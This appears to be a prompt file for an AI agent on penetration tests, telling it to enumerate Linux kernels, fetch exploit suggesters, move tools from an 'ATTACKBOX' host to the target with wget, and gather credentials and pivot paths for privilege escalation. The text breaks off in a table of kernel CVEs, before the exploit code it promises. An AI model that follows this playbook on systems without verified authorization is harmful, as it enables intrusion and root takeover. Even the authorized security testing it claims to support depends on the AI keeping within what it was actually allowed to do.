/linux-kernel-exploits

name: linux-kernel-exploits
description: >
  Exploit Linux kernel vulnerabilities and escape restricted shells for
  privilege escalation.
keywords:
  - kernel exploit
  - dirtypipe
  - dirtycow
  - dirty pipe
  - dirty cow
  - gameoverlay
  - CVE-2022-0847
  - CVE-2016-5195
  - CVE-2023-0386
  - CVE-2024-1086
  - nf_tables use-after-free
  - exploit suggester
  - linux-exploit-suggester
  - rbash escape
  - restricted shell
  - chroot escape
  - jail break
  - shell escape
tools:
  - gcc
  - linux-exploit-suggester
  - searchsploit
  - python3
opsec: high

Linux Kernel Exploitation and Restricted Shell Escape

You are helping a penetration tester exploit Linux kernel vulnerabilities and escape restricted shell environments for privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[linux-kernel-exploits] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Exploit and Tool Transfer

Never download exploits or scripts directly to the target from the internet. Use the attackbox-first workflow:

1. **Download on attackbox** — `git clone`, `curl`, or `searchsploit -m` locally 2. **Review** — inspect source before transferring 3. **Serve** — `python3 -m http.server 8080` on attackbox 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file`

If HTTP is not viable: `scp`, `nc`, or base64-encode and paste.

Inline C source written via heredoc in this skill (DirtyPipe, DirtyCow, chroot escapes) does not need this workflow — it is embedded and reviewable.

Prerequisites

• Shell access on Linux target (even restricted shell for escape techniques)
• For kernel exploits: gcc on target (or cross-compile on attacker and transfer)
• For exploit suggesters: ability to run scripts (bash/perl/python)

Step 1: Identify Kernel and Environment

# Kernel version (primary identifier for CVE matching)
uname -r
uname -a
cat /proc/version

# Distribution and version
cat /etc/os-release 2>/dev/null
lsb_release -a 2>/dev/null
cat /etc/issue 2>/dev/null

# Architecture
uname -m
# x86_64, i686, aarch64, armv7l, etc.

# Check kernel protections
cat /proc/sys/kernel/randomize_va_space     # KASLR: 0=off, 2=full
cat /proc/sys/kernel/kptr_restrict          # Kernel pointer hiding: 0=visible
cat /proc/sys/kernel/yama/ptrace_scope      # ptrace: 0=permissive
cat /proc/sys/kernel/dmesg_restrict         # dmesg access: 0=all users

# Check security modules
sestatus 2>/dev/null                        # SELinux
aa-status 2>/dev/null                       # AppArmor
cat /proc/sys/kernel/modules_disabled       # Module loading: 1=disabled

# Compiler availability
which gcc cc g++ 2>/dev/null
gcc --version 2>/dev/null

**Decision tree** — determine the approach:

| Situation | Go to | |-----------|-------| | Known vulnerable kernel version | Step 2 (Exploit Suggesters) → Step 3 (CVE Exploits) | | Unknown if kernel is vulnerable | Step 2 (Exploit Suggesters) | | Restricted shell (rbash, rksh) | Step 5 (Restricted Shell Escape) | | Chroot jail | Step 6 (Chroot Escape) | | Container needing kernel exploit | Step 4 (Container Kernel Escapes) |

Step 2: Exploit Suggesters

Run automated tools to identify applicable kernel CVEs.

linux-exploit-suggester.sh

# On attackbox: download and review
curl -sL https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -o les.sh
# Review script, then serve:
# python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/les.sh -O /tmp/les.sh
chmod +x /tmp/les.sh

# Run
/tmp/les.sh

# Run with specific kernel version (if can't determine automatically)
/tmp/les.sh --uname "3.10.0-514.el7.x86_64"

# Run with CVE filtering
/tmp/les.sh --cvelist-file /tmp/cves.txt

linux-exploit-suggester-2.pl

# On attackbox: download and review
curl -sL https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl -o les2.pl
# Review script, then serve:
# python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/les2.pl -O /tmp/les2.pl

# Run
perl /tmp/les2.pl

# With specific kernel
perl /tmp/les2.pl -k 3.10.0

Manual Version Matching

# Search ExploitDB
searchsploit "linux kernel $(uname -r | cut -d'-' -f1)"
searchsploit "linux kernel" | grep -i "privilege\|local\|root"

# Check known vulnerable ranges (quick reference)
uname -r

**Quick kernel CVE version table:**

| CVE | Name | Vulnerable Kernels | Reliability | |-----|------|--------------------|-------------| | CVE-2016-5195 | DirtyCow | ≤ 4.8.3 (race condition) | High (but old) | | CVE-2022-0847 | DirtyPipe | 5.8 – 5.16.11, 5.15.x < 5.15.25 | High | | CVE-2023-0386 | OverlayFS (GameOver(lay)) | 5.11 – 6.2 (Ubuntu specific) | High | | CVE-2023-32233 | Netfilter nf_tables UAF | 5.x – 6.3.1 | Medium | | CVE-2024-1086 | Netfilter nf_tables UAF (v2) | 5.14 – 6.6 | Medium | | CVE-2022-2588 | route4 UAF | 5.x – 5.19 | Medium | | CVE-2021-4034 | PwnKit (pkexec) | Any with polkit ≤ 0